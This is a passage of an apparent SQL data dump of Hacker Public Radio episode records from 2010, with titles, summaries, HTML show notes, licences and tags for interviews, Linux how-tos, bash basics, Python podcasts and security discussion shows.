&#39;adjust&#39; action.</code></pre>\r\n<p>When we run this we can see that the timestamp has now changed.</p>\r\n<pre><code>user@pc:~$ exiv2 *.jpg | grep timestamp\r\nImage timestamp : 2009:06:11 08:12:59</code></pre>\r\n<p>That\'s it. Remember this is the end of the conversation - to give feedback you can either record a show for the HPR network and email it to admin@hackerpublicradio.org or write it on a post-it note and attach it to the windscreen of Dave Yates\'s car as he\'s recording his next show.</p>\r\n\r\n</pre>\r\n',30,0,1,'CC-BY-NC-SA','exiv2,gwenview,Exif,IPTC,XMP',0,2304,1),
(547,'2010-06-07','openCSW Interview',1600,'Klaatu interviews Philip Brown about openCSW the software distribution project for Solaris','\r\n<p>\r\nKlaatu talks to Philip Brown of the openCSW project about Solaris, SunOS, portability and code, and lots more.\r\n</p>\r\n<ul>\r\n<li><a href=\"https://www.opencsw.org/\">https://www.opencsw.org/</a></li>\r\n<li><a href=\"https://www.opencsw.org/qa/maintainer/phil/\">https://www.opencsw.org/qa/maintainer/phil/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/OpenSolaris\">https://en.wikipedia.org/wiki/OpenSolaris</a></li>\r\n</ul>\r\n<p>\r\n<strong>Word up! the anti-talkshoe producers of this episode: Timrit and cobra2</strong>\r\n</p>\r\n',78,78,0,'CC-BY-NC-SA','openCSW,Philip Brown,Solaris,SunOS',0,1221,1),
(548,'2010-06-14','How to Prevent Spam',728,'Xoke talks about spam and how to prevent it.','<h2 id=\"setup\">Setup</h2>\r\n<p>Sets up a real email address eg real@example.com and another one for spam eg: spam@example.com</p>\r\n<h3 id=\"per-company-emails\">Per Company emails</h3>\r\n<p>A rule is set so that any messages that is not destined for a real/configured email address goes to spam@example.com.</p>\r\n<p>Give companies unique email addresses on your domain, and set up a rule to redirect that to the real address if the domain that is sending is the same as the prefix.</p>\r\n<p>For example <code>hackerpublicradio.org@example.org</code> coming from <code>admin@hackerpublicradio.org</code> would be sent to <code>real@example.com</code>. While <code>hackerpublicradio.org@example.org</code> coming from <code>spammer@spammer.org</code> would be sent to <code>spam@example.com</code>.</p>\r\n<h3 id=\"throwaway-emails\">Throwaway emails</h3>\r\n<p><code>someword.x.user@spamgourmet.com</code> where someword is a word you have never used before, x (optional) is the number of email messages you want to receive at this address (up to 20, and the number 3 will be used if you leave it out), and user is your username.</p>\r\n<ul>\r\n<li><a href=\"https://www.spamgourmet.com/\">https://www.spamgourmet.com/</a>\r\n</li>\r\n</ul>\r\n',79,0,1,'CC-BY-NC-SA','Spam,spamgourmet,spam rules',0,1469,1),
(549,'2010-06-17',' Interview with Richard Jones',1093,'Interview with Richard Jones who organizes the PyWeek game programming challenge','<p>First released as Bit of Python on 2010-03-24 PyWeek,Python,Richard Jones</p>\r\n<p>Andrew Kuchling interviews with Richard Jones who organizes the <a href=\"https://www.pyweek.org/\">PyWeek game programming challenge</a>. Richard and Andrew discuss how the challenge is run, what sort of games people write, and the libraries that are used.</p>\r\n<ul>\r\n<li><a href=\"https://www.pygame.org/news\">https://www.pygame.org/news</a></li>\r\n<li><a href=\"https://pyglet.org/\">https://pyglet.org/</a></li>\r\n</ul>\r\n',121,38,1,'CC-BY-NC-SA','PyWeek,Python,Richard Jones',0,1432,1),
(550,'2010-06-25','Interview with jledbetter',413,'Klaatu interviews Jessica Ledbetter, a java developer, during SouthEast LinuxFest 2010','klaatu interviews jledbetter a java developer',78,78,0,'CC-BY-NC-SA','interviews,interview,Java,SouthEast LinuxFest,SELF',0,1166,1),
(551,'2010-07-01','Interview with Wendy Seltzer',1604,'Klaatu interviews Wendy Seltzer about software patents during SouthEast LinuxFest 2010','another interview from klaatu at SELF 2010',78,78,0,'CC-BY-NC-SA','interviews,interview,SouthEast LinuxFest,SELF,software  patent,sofware patents,intellectual property,patent,patents,copy left,GPL',0,1781,1),
(552,'2010-07-08','Uber Leet Hacker Force Radio 5',3953,'sigflup interviews Krue about his flash-cart and then Mat Jones about his web framework','<pre>\r\nIn this episode we talk to Krue about his flash-cart and then to Mat Jones about\r\nhis web-framework and work in D.\r\n\r\nLinks include:\r\n\r\nBatchPCB:\r\n\r\nhttps://batchpcb.com/index.php/Products/24239\r\nhttps://batchpcb.com/index.php/Products/23319\r\n\r\nAtariMax Flash Cart:\r\n\r\nhttps://atarimax.com/usbcoleco/documentation/\r\n\r\nAll USB specifications can be downloaded from:\r\n\r\nhttps://www.usb.org/developers/docs/\r\n\r\nKrue\'s site:\r\n\r\nhttps://krue.net/\r\n\r\nMat\'s site:\r\n\r\nhttps://workhorsy.org\r\n</pre>\r\n\r\n',115,87,1,'CC-BY-NC-SA','podcast,Fourth of July,Turing complete,cabbage flash,Colecovision,D programming language,complexity,web framework,demoscene',0,1678,1),
(553,'2010-07-10','interview with celesteLynPaul',1458,'klaatu interviews Celeste Lyn Paul of the KDE project during SouthEast LinuxFest 2010','klaatu interviews celesteLynPaul of the KDE project',78,78,0,'CC-BY-NC-SA','interview,interviews,KDE,KDE Everywhere,QT,usability,SouthEast LinuxFest',0,2977,1),
(554,'2010-07-13','Wireless',510,'Xoke describes setting up a guest wireless network on an older Linksys router for his home','Xoke talks about wireless access points in his home',79,0,1,'CC-BY-NC-SA','Wifi,Wireless,WAP',0,1336,1),
(555,'2010-07-13','Hack Radio Live 1',1694,'This is the 1st episode of the Hack Radio Live podcast--hosted by Drake and Enigma','For complete show notes please visit <a href=\"https://hackradiolive.org\"> hackradiolive.org </a><br>\r\nIn this pilot, Drake and Enigma discuss WiiRD.',58,118,1,'CC-BY-NC-SA','Hack Radio Live,Nintendo Wii,Nintendo,Wii,USB  Gecko,WiiRD,Opticom,MythTV,Mythbuntu,AppleTV,home  theatre,microphone,Heil PR20,IronKey',0,1410,1),
(556,'2010-07-18','Basekamp Interview',2296,'Klaatu interviews Meg and Scott from Basekamp during FOSSCON','Klaatu talks to Meg and Scott from Basekamp.com about possible art worlds, free culture, free software, economics, social organization, collaboration, and a lot more.  <br>\r\n<br>\r\nFind the <a href=\"https://www.thebadapples.info/audiophile/hpr_basekamp.ogg\" target=\"_blank\">ogg version</a> courtesy your friends at the bad applez.\r\n',78,78,0,'CC-BY-NC-SA','interview,interviews,Basekamp,art,art collective,artists,art  worlds,free culture,open culture,open source,open source culture',0,1407,1),
(557,'2010-07-20','Hack Radio Live 2',2724,'This is the 2nd episode of the Hack Radio Live podcast--hosted by Drake and Enigma','For complete show notes please visit <a href=\"https://hackradiolive.org\"> hackradiolive.org </a><br>\r\nStory time with Drake and Enigma',58,118,1,'CC-BY-NC-SA','Hack Radio Live,Oracle World,JavaOne,SQL Server Reporting  Services,SSRS,RFID,card reader,RDP,LCD screen,hacking,PCL,network  printer,candy corn',0,2396,1),
(558,'2010-07-21','xscreensaver',379,'Ken Fallon describes how to install xscreensaver on a KDE 4 desktop','Shownotes: https://www.kenfallon.com <br>\r\nxscreensaver howto: https://www.jwz.org/xscreensaver/man1.html#9 <br>\r\n<br>\r\nCommands:<br>\r\nvi .kde/Autostart/xscreensaver.desktop <br>\r\nsudo cp /usr/lib/kde4/libexec/kscreenlocker </usr/lib/kde4/libexec/kscreenlocker.orig <br>\r\nsudo vi /usr/lib/kde4/libexec/kscreenlocker <br>\r\nsudo chmod +x /usr/lib/kde4/libexec/kscreenlocker <br>\r\nsudo apt-get install xscreensaver xli xloadimage xfishtank qcam streamer <br>\r\n',30,0,1,'CC-BY-NC-SA','KDE,KDE 4,screen saver,xscreensaver,how to',0,1392,1),
(559,'2010-07-28','Hack Radio Live 3',2833,'This is the 3rd episode of the Hack Radio Live podcast--hosted by Drake and Enigma','For complete show notes please visit <a href=\"https://hackradiolive.org\"> hackradiolive.org </a><br>\r\nEnigma discusses basic security concepts',58,118,1,'CC-BY-NC-SA','security,CIA triad,social  engineering,confidentiality,integrity,availability,PKI,PGP,CISSP,authentication,biometrics',0,2221,1),
(560,'2010-08-02','Old soldiers',1437,'A discussion of \"podfading\" - the fading away of once-active podcasts','Podcasting, Podfading, and Ordinary Voices Saying Extraordinary Things\r\n<p>\r\nMusic in this episode:\r\n<br>\r\n<a href=https://ccmixter.org/content/Zapac/Zapac_-_Test_Drive.mp3>\"Test Drive\" by Zapac</a>\r\n<br>\r\nAvailable at <a href=https://ccmixter.org>ccmixter.org</a>\r\n<p>\r\nScript for this episode available on my gopherspace:\r\n<br>\r\n<a href=gopher://gopher.info-underground.net/1/lostnbronx/>gopher://gopher.info-underground.net/1/lostnbronx/</a>\r\n',107,0,1,'CC-BY-NC-SA','Podcasting,Podfading',0,1518,1),
(561,'2010-08-04','Hack Radio Live 4',2064,'Hacker Radio Live discusses vulnerabilities in WEP (Wired equivalent privacy) encryption','For complete show notes please visit <a href=\"https://hackradiolive.org\"> hackradiolive.org </a><br>\r\nDrake discusses the WEP and WEP based cracking.',58,118,1,'CC-BY-NC-SA','encryption,WEP,Wired equivalent privacy,stream cipher',0,2561,1),
(562,'2010-08-11','Introduction to bash scripting',1232,'Introduction to bash scripting, with quick explanations of many adjacent concepts','<pre>\r\nhttps://en.wikipedia.org/wiki/Bourne_shell\r\nhttps://en.wikipedia.org/wiki/Command-line_interface\r\n\r\nA list of \"Hello World\" programs in many different computer languages: \r\nhttps://www.roesler-ac.de/wolfram/hello.htm \r\n\r\nFor Windows:\r\nEditor: https://notepad-plus-plus.org/\r\nBash (and more): https://x.cygwin.com/ \r\n(run setup, and selecting the \'xinit\' package from the \'X11\' category.)\r\n\r\n$ echo \'#!/bin/bash\' > hello.bash\r\n$ echo \"echo hello world\" >> hello.bash\r\n\r\n$ cat hello.bash \r\n#!/bin/bash\r\necho hello world\r\n\r\n$ chmod +x hello.bash\r\n\r\n$ ./hello.bash\r\nhello world\r\n\r\nfeedback-(a)-kenfallon.com\r\nMore information https://www.kenfallon.com\r\n</pre>',30,42,1,'CC-BY-NC-SA','bash,\"bash basics\",\"bash scripting\"',0,1447,1),
(563,'2010-08-12','Hack Radio Live 5',2203,'HRL discuss software support, Oracle, consulting & IT work, OpenOffice.org, and mops','For complete show notes please visit <a href=\"https://hackradiolive.org\"> hackradiolive.org </a><br>\r\nNo set topic for this show Enigma and Drake talk about whatever is on their minds.',58,118,1,'CC-BY-NC-SA','consulting,jailbreaking,oracle,sql',0,5485,1),
(564,'2010-08-14','robomofo',2778,'An innovative mobile computing platform, the \"Robocop mobile computing fortissimo\", aka robomofo','<p>\n<p>\nShownotes at <a href=\"https://web.archive.org/web/20160324173458/https://mmmccormick.com/hardware/robomofo/robomofo.html\"> https://mmmccormick.com/hardware/robomofo/robomofo.html </a>\n</p>\n<small><strong>Editor\'s Note 2021-08-02</strong>: the link to the notes is no longer active; replaced by a Wayback Machine snapshot for 2016</small>\n</p>\n',69,0,1,'CC-BY-NC-SA','mobile computing,tablet,video glasses,Vuzix,Pandora,mini-ITX',0,1404,1),
(565,'2010-08-21','Hack Radio Live 6',1740,'Hacker Radio Live discusses and demonstrates radio scanners','<p>\r\nFor complete show notes please visit <a href=\"https://hackradiolive.org\"> hackradiolive.org </a><br>\r\nScanners, Scanners and more Scanners with Drake and Enigma\r\n</p>\r\n\r\n<p>\r\n<small><b><em>Editor\'s Note 2021-08-12</em></b>: The https://hackradiolive.org\r\nsite is still available and a copy is also to be found on the <a\r\nhref=\"https://web.archive.org/web/20201005020045/https://www.hackradiolive.org/\">Wayback\r\nMachine</a>. Unfortunately the site does not appear to have notes for this\r\nepisode.</small>\r\n</p>\r\n',58,118,1,'CC-BY-NC-SA','scanner,radio',0,2711,1),
(566,'2010-08-21','Shotgun',463,'An experimental scheme to micro-manage personal free time','SHOTGUN\r\n<br>\r\nHyper-Scheduling For Maximum Effect\r\n<p>\r\nfollow the progress of this likely-ineffective experiment\r\n<br>\r\n<a href=gopher://gopher.info-underground.net/1/lostnbronx/lostnblog>gopher://gopher.info-underground.net/1/lostnbronx/lostnblog</a>\r\n',107,0,1,'CC-BY-NC-SA','time management,productivity,gopher,phlog',0,1539,1),
(567,'2010-09-02','Miscellaneous Radio Theater 4096 2,',2556,'Visiting the University of Minnesota Supercomputing Institute','\r\nJoin SigFLUP, Cyrpto, Zack and friends in a tour of the U of M Supercomputer \r\nCenter! Pictures of the event can be found here: https://hobones.dogsoft.net/sup\r\n\r\n',115,0,1,'CC-BY-NC-SA','Minnesota,supercomputer,HPC,Cray,Beowulf Cluster,PVM',0,1667,1),
(568,'2010-09-08','Hack Radio Live 7',2574,'Hacker Radio Live discusses MythTV and how Mr. E. Nigma uses it at home','Enigma and drake talk about Mythtv',58,118,1,'CC-BY-NC-SA','MythTV,MythBuntu,capture card,Linux MCE,XBMC',0,1641,1),
(569,'2010-09-11','Win7',1810,'Installing Windows 7 Ultimate under Virtual Box','Xoke talks about installing Win7 ultimate edition in VMware',79,0,1,'CC-BY-NC-SA','Windows,Install,Virtual',0,2171,1),
(570,'2010-09-11','New google privacy policy',731,'The upcoming Google Privacy Policy is read by espeak','googles new privacy policy',30,0,1,'CC-BY-NC-SA','policy,privacy,Google',0,2488,1),
(571,'2010-09-15','Hack Radio Live 9',3078,'HRL explore the technology and physics behind electromagnetic radiation','For complete show notes please visit <a href=\"https://hackradiolive.org\"> hackradiolive.org </a><br>\r\nDIY radar',58,118,1,'CC-BY-NC-SA','diy,radar',0,1963,1),
(572,'2010-09-21','Interview with Mark Terranova from Zareason',1231,'In this episode Klaatu talks to Mark Terranova from Zareason at SELF 2010','<p>In this episode, recorded at SELF 2010, Klaatu talks to Mark Terranova from <a href=\"https://www.zareason.com\" target=\"_blank\">Zareason</a>. Mark is the Community Manager at Zareason.</p>\r\n\r\n<p>Wanna hear this episode in <a href=\"https://www.thebadapples.info/audiophile/hpr_markZareason.ogg\" target=\"_blank\">ogg</a>?  Sure ya do!</p>\r\n',78,78,0,'CC-BY-NC-SA','Zareason,Linux computer,SELF 2010',0,1814,1),
(573,'2010-09-24','Linux in a Ham Shack',4655,'Episode 39 of \"Linux In The Ham Shack\" syndicated on HPR','<hr>\n<p>In this <em>Syndicated Thursday</em> episode we hear from Russ, then known as K5TUX, but now as HPR host <a href=\"https://www.hackerpublicradio.org/correspondents.php?hostid=127\">KFive</a>,\nwho is the host of the <em>Linux In The Ham Shack</em> podcast: <a href=\"https://lhspodcast.info/\">https://lhspodcast.info/</a>. He is joined by ClaudioM,\nwho also known to HPR as <a href=\"https://www.hackerpublicradio.org/correspondents.php?hostid=152\">Claudio Miranda</a>.</p>\n<p>This is episode 39: <a href=\"https://lhspodcast.info/2010/05/lhs-episode-039-best-epsiode-ever/\"><em>LHS Episode #039: Best. Episode. Ever.</em></a></p>\nThere are show notes here: <a href=\"https://lhspodcast.info/2010/05/show-notes-069/\">https://lhspodcast.info/2010/05/show-notes-069/</a>\n',127,54,1,'CC-BY-NC-SA','Ubuntu 10.04,Crunchbang,morse code,SELF 2010',0,2554,1),
(574,'2010-10-06','Interview with Maco',1815,'Maco and her new Sign Language Tutor application','Klaatu interviews Maco about her new Sign Language Tutor\r\napplication, Gally, as well as why Qt and KDE are better than all the\r\nrest, plus Ubuntu Women and women in computing, Linux and\r\nsecurity, and some other stuff. \r\n\r\nListen to this episode in <a\r\nhref=\"https://www.thebadapples.info/audiophile/hpr_maco2010.ogg\"\r\ntarget=\"_blank\">ogg vorbis</a> courtesy the Bad Applez.',78,78,0,'CC-BY-NC-SA','Qt,KDE,Ubuntu Women',0,3090,1),
(575,'2010-10-15','Free and open source software on windows',1234,'A recording of a presentation by Robert McWilliam from Software Freedom Day Event 2009','A presentation from Software Freedom Day Event 2009 organised by the UAD Linux Society, Hannah Maclure Centre, and the Tayside Linux Users Group. This talk is by Robert McWilliam and is about using Free and Open Source Software for Windows.',85,36,1,'CC-BY-NC-SA','FOSS,Windows',0,2635,1),
(576,'2010-10-18','Interview with HeathenX',828,'HeathenX from the screencasters speaks about art on Linux','<p>Klaatu, at the Ohio Linux Fest 2009, interviews HeathenX from <a href=\"https://screencasters.heathenx.org\">the screencasters</a> about art on Linux, Inkscape, GIMP, multi-platform applications, and more.</p>\r\n<p><a href=\"https://www.thebadapples.info/audiophile/hpr_heathenx.ogg\" target=\"_blank\">The ogg version</a> provided by The Bad Apples</a>.</p>',78,78,0,'CC-BY-NC-SA','OLF 2009,interview',0,2534,1),
(577,'2010-10-19','Episode 11.Bit-of-Python-2010-04-07',696,'An interview recorded at PyCon 2010, Atlanta, with Antoine Pitrou','<p>\r\n<a href=\"https://bitofpython.com/\">A Little Bit of Python</a> is an occasional podcast on all things <a href=\"https://python.org\">Python</a>. The four protagonists on the show are all core Python developers and members of the Python Software Foundation. They are:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.voidspace.org.uk\">Michael Foord</a> (author of IronPython in Action and maintainer of unittest)</li>\r\n<li><a href=\"https://www.amk.ca/\">Andrew Kuchling</a> (creator of PyCrypto and one of the python.org webmasters)</li>\r\n<li><a href=\"https://holdenweb.com/\">Steve Holden</a> (PSF chairman)</li>\r\n<li><a href=\"https://sayspy.blogspot.com/\">Dr. Brett Cannon</a> (author of importlib amongst other things)</li>\r\n<li><a href=\"https://jessenoller.com/\">Jesse Noller</a> (maintainer of multiprocessing).</li>\r\n</ul>\r\n\r\n<h3>Episode 11.Bit-of-Python-2010-04-07</h3>\r\n<p>Interview with Antoine Pitrou</p>\r\n<p>An interview recorded at PyCon 2010, Atlanta, with Antoine Pitrou. Antoine Pitrou is the core CPython developer responsible for creating the \"new-GIL\".</p>\r\n',121,38,1,'CC-BY-NC-SA','Python,twisted,wxWidgets,CPython,Global interpreter lock,GIL',0,2477,1),
(578,'2010-10-20','Open Source Security Concepts',1442,'A recording of a presentation by Nick Walker from Software Freedom Day Event 2009','A presentation from Software Freedom Day Event 2009 organised by the UAD Linux Society, Hannah Maclure Centre, and the Tayside Linux Users Group. This talk is by Nick Walker and is about Open Source Security Concepts.\r\n\r\n',85,36,1,'CC-BY-NC-SA','open source security',0,2545,1),
(579,'2010-10-21','Interview with Jeff and Loafy, two SELF volunteers',804,'Jeff, a student, sponsor of SELF and volunteer and Loafy, a volunteer, first time at SELF','Klaatu talks to Jeff and Loafy, two volunteers at SELF 2010.  For the ogg version, click riiiight <a href=\"https://www.thebadapples.info/audiophile/hpr_2volunteers_self2010.ogg\" target=\"_blank\">here.</a>',78,78,0,'CC-BY-NC-SA','SELF 2010,volunteer,interview',0,2302,1),
(580,'2010-10-22','Hacker Public Radio Panel at Ohio Linux Fest 2010',3041,'Several well-known HPR contributors are recorded in discussion','Listen!! to the Hacker Public Radio panel at the Ohio Linux Fest held in September 2010. Panelists include Klaatu, Dave Yates, SigFLUP, Lord Drachenblut and Dann Washko.',115,0,1,'CC-BY-NC-SA','recording methods,HPR history,audio editing,mono,encoding',0,2662,1),
(581,'2010-10-25','Open Source Games and the community',1682,'A talk by Phillip Geyer at Software Freedom Day Dundee 2009 about Open Source Games','A presentation from Software Freedom Day Event 2009 organised by the UAD Linux Society, Hannah Maclure Centre, and the Tayside Linux Users Group. This talk is by Phillip Geyer and is about Open Source Games and the community.',85,36,1,'CC-BY-NC-SA','Dundee,gaming,game development,game engine,game development community',0,2390,1),
(582,'2010-10-26','Talk Geek To Me #23:Interview:Ken Fallon',762,'deepgeek interviews Ken Fallon about the future of HPR','<p>\nIn this brief interview, Ken Fallon talks to me about reviving the podfaded Hacker Public Radio (hpr), and using the right tools for the right job when it comes to building something on the interwebs.\n</p>\n',73,34,1,'CC-BY-NC-SA','podcast,community,Today with a Techie,podfade',0,2513,1),
(583,'2010-10-27','An interview with Alan Hicks',974,'Alan Hicks at SouthEast LinuxFest 2010, the second annual festival','Klaatu interviews Alan Hicks of <a href=\"https://www.slackbook.org\" target=\"_blank\">Slackbook</a> and the Slackware team about SELF 2010, Slackware 13.1, encryption, and the wifis  \r\nListen to the <a href=\"https://www.thebadapples.info/audiophile/hpr_alanHicks.ogg\" target=\"_blank\">ogg vorbis version</a> of this episode courtesy of <a href=\"https://www.thebadapples.info\" target=\"_blank\">teh Bad Applez</a>.',78,78,0,'CC-BY-NC-SA','SELF 2010,interview,Slackware,Slackbook',0,2249,1),
(584,'2010-10-28','A Little Bit of Python: 12 Global Interpreter Lock; Concurrency',2265,'Exploring a scheduler being introduced in python, and its effect on threading performance','<a href=\"https://bitofpython.com/\">A Little Bit of Python</a> is an occasional podcast on all things <a href=\"https://python.org\">Python</a>. The four protagonists on the show are all core Python developers and members of the Python Software Foundation. They are: <a href=\"https://www.voidspace.org.uk\">Michael Foord</a> (author of IronPython in Action and maintainer of unittest), <a href=\"https://www.amk.ca/\">Andrew Kuchling</a> (creator of PyCrypto and one of the python.org webmasters), <a href=\"https://holdenweb.com/\">Steve Holden</a> (PSF chairman), <a href=\"https://sayspy.blogspot.com/\">Dr. Brett Cannon</a> (author of importlib amongst other things) and <a href=\"https://jessenoller.com/\">Jesse Noller</a> (maintainer of multiprocessing).\r\n\r\nWe discuss the significance of the Global Interpreter Lock (or GIL) and recent work at improving it, PEP 3148 proposing futures as a new asynchronous execution method, some recent IronPython work, and a new Python podcast.\r\n\r\n',121,38,1,'CC-BY-NC-SA','\"little bit of python\",programming,python',0,2442,1),
(585,'2010-10-29','QSK1: Devil in the Details',1435,'The first QSK Netcast, a brief introduction, and information about devilspie','This is the very first episode of the <a href=\"https://qskcast.info/\">QSK Netcast</a>. I want to thank everyone who supports podcasting, netcasting, Internet broadcasting or whatever you want to call it. I also want to thank all those who believe in Open Source, who strive to mentor with every breath and who believe the world is a better place with more knowledge in it. Please have a listen to my latest effort and send me feedback using the contact form or by leaving comments on the Web site. You can also call the show at 417-200-4811 and press the option for QSK Netcast. I really want to hear from you: Your likes, your dislikes, your requests, your questions--whatever. Just remember, it can only get better from here.',127,43,1,'CC-BY-NC-SA','devilspie,\"window manager\"',0,2621,1),
(586,'2010-11-01','Miscellaneous Radio Theater 4096- The Internet is For Porn',974,'SigFLUP offers a much needed criticism of the popular internet meme, The Internet is For Porn','<hr />\r\n<h3>Counter Point</h3>\r\n<p>This show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=69\">hpr0069 :: There\'s Pr0n on them there internets!</a>\r\n</p>\r\n<hr />\r\n<p>\r\nIn this episode of Miscellaneous Radio Theater 4096 SigFLUP offers a much needed criticism of the popular internet meme, The Internet is For Porn</p>\r\n',115,0,1,'CC-BY-NC-SA','pornography,porn',0,2619,1),
(587,'2010-11-02','HPR Community News',1577,'HPR Community News','In this show we look behind the scenes at HPR. Giving details of what has changed over the last month.',159,47,1,'CC-BY-NC-SA','Community News',0,2565,1),
(588,'2010-11-03','Klaatu interviews Brian Smith from dns.com',565,'Brian Smith at SouthEast LinuxFest 2010, the second annual festival','<p>\r\nKlaatu interviews Brian Smith from <a href=\"https://www.dns.com\" target=\"_blank\">dns.com</a>.  Listen to the <a href=\"https://www.thebadapples.info/audiophile/hpr_brianSmith.ogg\" target=\"_blank\">ogg vorbis</a> version of this interview courtesy your friends at <a href=\"https://www.thebadapples.info\" target=\"_blank\">the Bad Apples GNU Linux Oggcast</a>.\r\n</p>\r\n',78,78,0,'CC-BY-NC-SA','SELF 2010,interview,DNS,dns.com,cache poisoning',0,2292,1),
(589,'2010-11-04','DownThemAll SongFight and a Song',1060,'DownThemAll, a firefox extension for downloading files from a web page','<p>DownThemAll can be found at <a href=\"https://www.downthemall.net/\">https://www.downthemall.net/</a> or search for DownThemAll in FireFox under Tools &gt; Add-ons &gt; Get Add-ons</p>\r\n<p>The Main website for Song Fight is <a href=\"https://songfight.org/\">https://songfight.org/</a></p>\r\n<p>Song Fight\'s official stance on Copyright may be found at <a href=\"https://songfight.org/faq.html#copyright\">https://songfight.org/faq.html#copyright</a></p>\r\n<p>The direct link to today\'s song is <a href=\"https://www.songfight.org/music/the_proposal/bradsucks_tp.mp3\">https://www.songfight.org/music/the_proposal/bradsucks_tp.mp3</a></p>\r\n<p>Brad Sucks is \"a one man band with no fans.\" To hear more of Brad\'s excellent music, please visit <a href=https://www.bradsucks.net/\">https://www.bradsucks.net/</a></p>\r\n<p>Thank you for listening to my very first attempt at Hacker Public Radio. I hope to do more in the future.</p>\r\n\r\n<p>pokey<br/>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, I have included a few.</p>\r\n',128,0,1,'CC-BY-NC-SA','extensions,firefox,music',0,2607,1),
(590,'2010-11-05','QSK Episode 2: MP3 v. OGG',2443,'KFive and Klaatu discuss the differences between MP3 and Ogg Vorbis audio formats','Thanks to Klaatu for coming on board tonight to talk about the debate over software patents and the MP3 format vs. Open Source audio codecs like OGG. The audio leaves a little bit to be desired but everything is understandable. Please tell everyone about the netcast. Thanks for listening and hope to have you back for Episode 3.',127,0,1,'CC-BY-NC-SA','audio,mp3,ogg,\"ogg vorbis\",\"software patents\"',0,2534,1),
(591,'2010-11-08','sdf and openvms deathrow',955,'JWP introduces the many features of SDF.org and Deathrow VMS, an OpenVMS cluster','first I wanted to share my contact information.<br />                                                                                                                               \r\n                                                                                                                                                                                    \r\nand my rss feed to my show <a href=\"https://jwplinux.libsyn.com/rss\">https://jwplinux.libsyn.com/rss</a><br />                                                                        \r\n                                                                                                                                                                                    \r\nI wanted to talk about two places that really helped me in learning about the command line.  Both do not run linux one runs net bsd and the other runs open vms.  Both are so geeky you need to beat it away with a stick.<br />                                                                                                                                        \r\n                                                                                                                                                                                    \r\nI use really often and have learned so much from the use of sdf public access unix system.  It was first done up in 1987 and I really like it.  I saw it once in Seatle it is great thing to view.  If you liked the old compuserve you are going to love this place.  Its free but if you donate I think 10 bucks you get a lot more out of it.<br />                  \r\n                                                                                                                                                                                    \r\nThe second place is death row vms I did a pod cast with bev a while back and its agreat place to do unix.  its based on open vms which if you can not love it you must hate cute kittens to.  Bev has a lot compilers there which can save you so bucks.<br />                                                                                                          \r\n                                                                                                                                                                                    \r\nFree raid storage at both places.<br />                                                                                                                                             \r\n                                                                                                                                                                                    \r\nfree email at both places<br />                                                                                                                                                     \r\n                                                                                                                                                                                    \r\nfree IRC at both places#<br />                                                                                                                                                      \r\n                                                                                                                                                                                    \r\nA lot that geeks like at both places<br />\r\n\r\n<a href=\"https://www.sdf.org/\">https://www.sdf.org/</a><br />\r\n\r\n<a href=\"https://deathrow.vistech.net/\">https://deathrow.vistech.net/</a><br />',129,0,1,'CC-BY-NC-SA','openvms,sdf',0,2605,1),
(592,'2010-11-09','FOSScon: An interview with CrissiD and Charles',716,'Interviews with CrissiD and Charles, two organizers of FOSScon 2010','Klaatu interviews CrissiD and Charles, two organizers of <a href=\"https://www.fosscon.org\" target=\"_blank\">FOSScon</a> 2010.  Listen to the <a href=\"https://www.thebadapples.info/audiophile/hpr_fosscon2010.ogg\" target=\"_blank\">ogg vorbis</a> version of this interview courtesy your friends at <a href=\"https://www.thebadapples.info\" target=\"_blank\">the Bad Apples GNU Linux Oggcast</a>.\r\n\r\n<pre>\r\nhttps://www.fosscon.org\r\nhttps://www.thebadapples.info/audiophile/hpr_fosscon2010.ogg\r\nhttps://www.thebadapples.info\r\n</pre>',78,78,0,'CC-BY-NC-SA','FOSScon',0,2368,1),
(593,'2010-11-10','My Linux Experience',817,'A show from a new host about using Linux at home and at work','What got me into linux. Running linux at home and stuff I use. Some linux at work. Other linux experiences. mayesja (at) gmail.com',130,0,1,'CC-BY-NC-SA','Unix,Mandrake,Ubuntu,Mint,GIMP,OpenOffice',0,2625,1),
(594,'2010-11-11','Using FFMPEG To Convert Video Shot With An Android Phone',2140,'Converting a 3GP video to a more compatible file format with ffmpeg','This episode comes with detailed shownotes which can be found on the hpr site <a href=\"https://hackerpublicradio.org/shownotes/hpr0594.html\">https://hackerpublicradio.org/shownotes/hpr0594.html</a>',131,0,1,'CC-BY-NC-SA','android,codec,ffmpeg,\"file formats\"',0,2669,1),
(595,'2010-11-12','Read \'n Code - 1 Seneca and Python',1216,'The first episode of the Read \'n Code series from a new host','This is the first episode of the Read \'n Code podcast, the only podcast about literature and computer programming. In this episode we will take a look at Letters from a Stoic by Seneca and the Zen of Python by Tim Peters.\r\n',132,44,1,'CC-BY-NC-SA','Seneca,Stoicism,Python,Zen',0,2919,1),
(596,'2010-11-15','The Importance of Community',437,'An explanation of why community is important, especially for the hacker community','Speaking on the importance of the community in hacker culture, and how the community has affected my life.\r\n\r\nYou can find sp0rus at his blog https://www.squaringcircles.blogspot.com and on IRC.',133,0,1,'CC-BY-NC-SA','community',0,2494,1),
(597,'2010-11-16','QSK Episode 3: Old and in the Way',2675,'A syndicated episode of the QSK Netcast discussing handicapped parking laws','QSK: Episode 3 of QSK is a rantcast. Cheryl, my significant other, and I ruminate on the state of motor vehicle licensing in the world, how ridiculous the situation has gotten and what we\'re planning on doing about it.  This one is a fun ride, so sit back and enjoy the total lack of political correctness. We did.',127,0,1,'CC-BY-NC-SA','accessibility,wheelchairs',0,2590,1),
(598,'2010-11-17','Bash Scripting: Episode 2 Command Line Basics',2313,'Introduction to the man, info, and appropos commands, among other basics','In the second installment Ken resolves to not do any work and so get\'s permission from Chess Griffin to reuse extracts from Linux Reality Episode 14 - Command Line Basics May 17, 2006\r\nhttps://www.linuxreality.com/archives.php#14\r\n\r\nShownotes can be found at <a href=\"https://hackerpublicradio.org/shownotes/hpr0598.html\">https://hackerpublicradio.org/shownotes/hpr0598.html</a>',30,42,1,'CC-BY-NC-SA','bash,cli,\"command line\"',0,2530,1),
(599,'2010-11-18','Interview with Rudi van Drunen on IPv6',2007,'An interview with Rudi van Drunen about being ready for the future of IPv6','An interview with Rudi van Drunen at LISA 2010, the Large Installation Systems Administration conference in San Jose, CA. Rudi discusses the\r\npast, present and future of IPv6, how soon we as a community will need to implement it, and the benefits and drawbacks of the new Internet\r\nnumbering scheme.',127,78,1,'CC-BY-NC-SA','ipv6,networking',0,2709,1),
